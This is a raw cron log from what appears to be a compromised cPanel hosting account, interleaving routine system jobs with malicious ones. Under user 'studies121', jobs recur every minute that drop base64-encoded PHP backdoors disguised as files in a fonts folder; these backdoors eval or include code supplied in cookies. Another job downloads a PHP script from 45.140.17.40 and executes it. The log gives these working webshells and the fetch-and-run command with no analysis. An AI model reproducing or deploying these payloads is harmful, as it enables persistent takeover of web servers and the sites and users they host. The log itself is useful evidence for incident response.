Sep  8 15:42:01 ip-184-168-122-23 CROND[11054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:42:01 ip-184-168-122-23 CROND[11058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:42:01 ip-184-168-122-23 CROND[11056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:42:01 ip-184-168-122-23 CROND[11057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:42:01 ip-184-168-122-23 CROND[11060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:43:01 ip-184-168-122-23 CROND[11251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:43:01 ip-184-168-122-23 CROND[11253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:43:01 ip-184-168-122-23 CROND[11254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:43:01 ip-184-168-122-23 CROND[11252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:44:01 ip-184-168-122-23 CROND[11334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:44:01 ip-184-168-122-23 CROND[11336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:44:01 ip-184-168-122-23 CROND[11337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:44:01 ip-184-168-122-23 CROND[11339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:44:01 ip-184-168-122-23 CROND[11341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:45:01 ip-184-168-122-23 CROND[11473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:45:01 ip-184-168-122-23 CROND[11474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:45:01 ip-184-168-122-23 CROND[11477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:45:01 ip-184-168-122-23 CROND[11478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:45:01 ip-184-168-122-23 CROND[11479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:45:01 ip-184-168-122-23 CROND[11480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:46:01 ip-184-168-122-23 CROND[11564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:46:01 ip-184-168-122-23 CROND[11569]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 15:46:01 ip-184-168-122-23 CROND[11567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:46:01 ip-184-168-122-23 CROND[11570]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 15:46:01 ip-184-168-122-23 CROND[11571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:46:01 ip-184-168-122-23 CROND[11566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:46:01 ip-184-168-122-23 CROND[11568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:46:57 ip-184-168-122-23 crontab[12083]: (root) LIST (root)
Sep  8 15:47:01 ip-184-168-122-23 CROND[12311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:47:01 ip-184-168-122-23 CROND[12313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:47:01 ip-184-168-122-23 CROND[12312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:47:01 ip-184-168-122-23 CROND[12317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:47:28 ip-184-168-122-23 crontab[12516]: (root) LIST (root)
Sep  8 15:47:28 ip-184-168-122-23 crontab[12518]: (root) LIST (root)
Sep  8 15:47:35 ip-184-168-122-23 crontab[12605]: (root) LIST (root)
Sep  8 15:48:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  8 15:48:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  8 15:48:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  8 15:48:01 ip-184-168-122-23 CROND[12753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:48:01 ip-184-168-122-23 CROND[12754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:48:01 ip-184-168-122-23 CROND[12757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:48:01 ip-184-168-122-23 CROND[12756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:48:01 ip-184-168-122-23 CROND[12759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:49:02 ip-184-168-122-23 CROND[13067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:49:02 ip-184-168-122-23 CROND[13070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:49:02 ip-184-168-122-23 CROND[13069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:49:02 ip-184-168-122-23 CROND[13068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:50:01 ip-184-168-122-23 CROND[13201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:50:01 ip-184-168-122-23 CROND[13202]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:50:01 ip-184-168-122-23 CROND[13205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:50:01 ip-184-168-122-23 CROND[13206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:50:01 ip-184-168-122-23 CROND[13203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:50:01 ip-184-168-122-23 CROND[13209]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 15:50:01 ip-184-168-122-23 CROND[13208]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:50:01 ip-184-168-122-23 CROND[13204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:50:01 ip-184-168-122-23 CROND[13207]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:51:01 ip-184-168-122-23 CROND[13331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:51:01 ip-184-168-122-23 CROND[13332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:51:01 ip-184-168-122-23 CROND[13333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:51:01 ip-184-168-122-23 CROND[13334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:52:01 ip-184-168-122-23 CROND[13440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:52:01 ip-184-168-122-23 CROND[13442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:52:01 ip-184-168-122-23 CROND[13444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:52:01 ip-184-168-122-23 CROND[13443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:52:01 ip-184-168-122-23 CROND[13445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:53:01 ip-184-168-122-23 CROND[13602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:53:01 ip-184-168-122-23 CROND[13604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:53:01 ip-184-168-122-23 CROND[13605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:53:01 ip-184-168-122-23 CROND[13607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
